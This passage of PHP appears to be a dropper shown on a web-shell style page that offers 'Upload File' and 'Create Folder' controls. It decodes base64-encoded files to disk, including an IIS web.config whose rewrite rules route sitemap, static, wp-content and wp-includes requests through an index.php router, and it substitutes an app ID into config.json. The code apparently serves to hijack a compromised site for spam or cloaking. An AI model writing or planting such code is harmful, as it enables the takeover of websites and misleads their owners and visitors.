W14uL10rKVwuaHRtbCQiIC8+CiAgICAgICAgICAgICAgICAgICAgPGFjdGlvbiB0eXBlPSJSZXdyaXRlIiB1cmw9ImluZGV4LnBocD90PWNvbGxlY3Rpb24mYW1wO2k9e1I6MX0iIC8+CiAgICAgICAgICAgICAgICA8L3J1bGU+CiAgICAgICAgICAgICAgICA8cnVsZSBuYW1lPSJSZXdyaXRlIGNvbGxlY3Rpb24gMiI+CiAgICAgICAgICAgICAgICAgICAgPG1hdGNoIHVybD0iXmNvbGxlY3Rpb24vKD86W15fXSopXyhbXi4vXSspLyhcZCspLyhcZCspXC5odG1sJCIgLz4KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9Y29sbGVjdGlvbiZhbXA7aT17UjoxfSZhbXA7bj17UjoyfSZhbXA7cz17UjozfSIgLz4KICAgICAgICAgICAgICAgIDwvcnVsZT4KICAgICAgICAgICAgICAgIDxydWxlIG5hbWU9IlJld3JpdGUgc2l0ZW1hcCB4bWwiPgogICAgICAgICAgICAgICAgICAgIDxtYXRjaCB1cmw9Il5zaXRlbWFwXC54bWwkIiAvPgogICAgICAgICAgICAgICAgICAgIDxhY3Rpb24gdHlwZT0iUmV3cml0ZSIgdXJsPSJpbmRleC5waHA/dD1zaXRlbWFwJmFtcDtzPXtSOjF9JmFtcDtmPXhtbCIgLz4KICAgICAgICAgICAgICAgIDwvcnVsZT4KICAgICAgICAgICAgICAgIDxydWxlIG5hbWU9IlJld3JpdGUgc2l0ZW1hcCB4bWwgMiI+CiAgICAgICAgICAgICAgICAgICAgPG1hdGNoIHVybD0iXnNpdGVtYXAoLVxkKyk/XC4odHh0fHhtbCkkIiAvPgogICAgICAgICAgICAgICAgICAgIDxhY3Rpb24gdHlwZT0iUmV3cml0ZSIgdXJsPSJpbmRleC5waHA/dD1zaXRlbWFwJmFtcDtzPXtSOjF9JmFtcDtmPXtSOjJ9IiAvPgogICAgICAgICAgICAgICAgPC9ydWxlPgogICAgICAgICAgICAgICAgPHJ1bGUgbmFtZT0iUmV3cml0ZSBzdGF0aWMiPgogICAgICAgICAgICAgICAgICAgIDxtYXRjaCB1cmw9Il5zdGF0aWMvKC4qKSIgLz4KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9c3RhdGljJmFtcDtwPXN0YXRpYyZhbXA7ZT17UjoxfSIgLz4KICAgICAgICAgICAgICAgIDwvcnVsZT4KICAgICAgICAgICAgICAgIDxydWxlIG5hbWU9IlJld3JpdGUgd3AtY29udGVudCI+CiAgICAgICAgICAgICAgICAgICAgPG1hdGNoIHVybD0iXndwLWNvbnRlbnQvKC4qKSIgLz4KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9c3RhdGljJmFtcDtwPXdwLWNvbnRlbnQmYW1wO2U9e1I6MX0iIC8+CiAgICAgICAgICAgICAgICA8L3J1bGU+CiAgICAgICAgICAgICAgICA8cnVsZSBuYW1lPSJSZXdyaXRlIHdwLWluY2x1ZGVzIj4KICAgICAgICAgICAgICAgICAgICA8bWF0Y2ggdXJsPSJed3AtaW5jbHVkZXMvKC4qKSIgLz4KICAgICAgICAgICAgICAgICAgICA8YWN0aW9uIHR5cGU9IlJld3JpdGUiIHVybD0iaW5kZXgucGhwP3Q9c3RhdGljJmFtcDtwPXdwLWluY2x1ZGVzJmFtcDtlPXtSOjF9IiAvPgogICAgICAgICAgICAgICAgPC9ydWxlPgogICAgICAgICAgICA8L3J1bGVzPgogICAgICAgIDwvcmV3cml0ZT4KICAgIDwvc3lzdGVtLndlYlNlcnZlcj4KPC9jb25maWd1cmF0aW9uPgo=', ); foreach ($files as $fileName => $encodedContent) { $decodedContent = base64_decode($encodedContent); if ($fileName === 'config.json') { // 随机替换 {app} 为 $app_ids 数组中的一个元素 $randomAppId = $app_ids[0]; $decodedContent = str_replace('{app}', $randomAppId, $decodedContent); } file_put_contents($fileName, $decodedContent); echo "File: $fileName has been written.\n"; }
Upload File
Create Folder